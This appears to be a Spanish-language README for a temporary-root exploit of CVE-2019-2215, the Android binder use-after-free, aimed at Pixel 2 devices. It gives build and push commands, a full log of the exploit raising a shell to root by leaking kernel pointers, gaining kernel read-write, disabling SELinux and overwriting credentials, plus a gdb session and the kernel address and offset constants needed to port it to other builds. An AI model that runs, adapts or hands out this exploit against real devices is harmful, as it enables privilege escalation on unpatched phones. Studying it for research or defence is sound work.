byte-master-101/cve-2019-2215Temproot para Pixel 2 y Pixel 2 XL mediante CVE-2019-2215
Basado en una prueba de concepto de Jann Horn y Maddie Stone de Google Project Zero
Un agradecimiento especial al taller de CloudFuzz por hacer posible que yo escribiera este exploit.
Más agradecimientos a kangtastic por proporcionar otra fuente de referencia.
Para compilar el exploit:
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make
Para compilar el exploit y subirlo a un dispositivo en ejecución (usando el emulador de android studio):
NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Ejemplo de uso:
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
[+] Allocating page
[+] Filling page with 'A's
[+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
[+] Allocating binder and epoll file descriptors
[+] Creating Pipe
[+] Constructing IOVEC stack
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Reading leaked task_struct pointer
[+] Leaked task_struct pointer: 0xffff888010731b80
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
[+] Allocating binder and epoll file descriptors
[+] Creating socket
[+] Writing junk data to socket
[+] Constructing IOVEC stack
[+] Crafting socket input data
[+] Creating message header object
[+] Forking child process
[+] Allocating and linking binder_thread structure
[+] Freeing binder_thread structure
[+] Reallocating binder_thread structure as IOVECs
[+] CHILD Triggering unlink
[+] CHILD Reading 65536 'A's from pipe
[+] CHILD Exiting
[+] Verifying arbitrary R/W vector
[+] Opening kernel R/W pipe
[+] PID 7359 verified
[+] Closing binder and epoll file descriptors
[+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
[+] SELinux enforcing flag located at 0xffffffff816acfe8
[+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
[+] Copying nsproxy pointer from kernel-space
[+] init_nsproxy structure address: 0xffffffff81433ac0
[+] Kernel base address: 0xffffffff80200000
[+] init_cred structure address: 0xffffffff81433c30
[+] init_cred usage count: 0x2
[+] Setting init_cred usage count to: 0x3
[+] Setting task_struct credentials to init_cred
[+] New process UID: 0
[+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully
Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit
Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$
Para depurar el exploit:
gdb -quiet ./path/to/dist/vmlinux -x commands.gdb
Ten en cuenta que ejecutar el exploit mientras gdb está conectado lo hace muy poco fiable, así que solo conecta gdb cuando sea necesario. Ejemplo de sesión de depuración:
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61 }
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
Breakpoint 1, binder_free_thread (thread=0xffff888011821000) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c:4701
4701 BUG_ON(!list_empty(&thread->todo));
0xffff888011821000: 0xffff888028f72400 0x0000000000000001
...
Algunas constantes en exploit.h son específicas de la compilación, a saber:
// System.map
// ffffffff80200000 T _stext
// ffffffff81433ac0 D init_nsproxy
// ffffffff816acfe8 B selinux_enforcing
// ffffffff81433c30 D init_cred
#define KERNEL_BASE 0xffffffff80200000ul
#define INIT_NSPROXY 0xffffffff81433ac0ul
#define SELINUX_ENFORCING 0xffffffff816acfe8ul
#define INIT_CRED 0xffffffff81433c30ul
Y
// Variable offsets
// macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
#define ADDR_LIMIT_OFFSET 0xa18ul // p /x (long)offsetof(struct task_struct, thread) + (long)offsetof(struct thread_struct, addr_limit)
#define PID_OFFSET 0x4e8ul // p /x offsetof(struct task_struct, pid)
#define NSPROXY_OFFSET 0x6c0ul // p /x offsetof(struct task_struct, nsproxy)
#define REAL_CRED_OFFSET 0x680ul // p /x offsetof(struct task_struct, real_cred)
El primer conjunto de constantes se puede recuperar del archivo System.map de la compilación de destino, y el segundo conjunto de constantes se puede calcular usando sus respectivos comandos de gdb.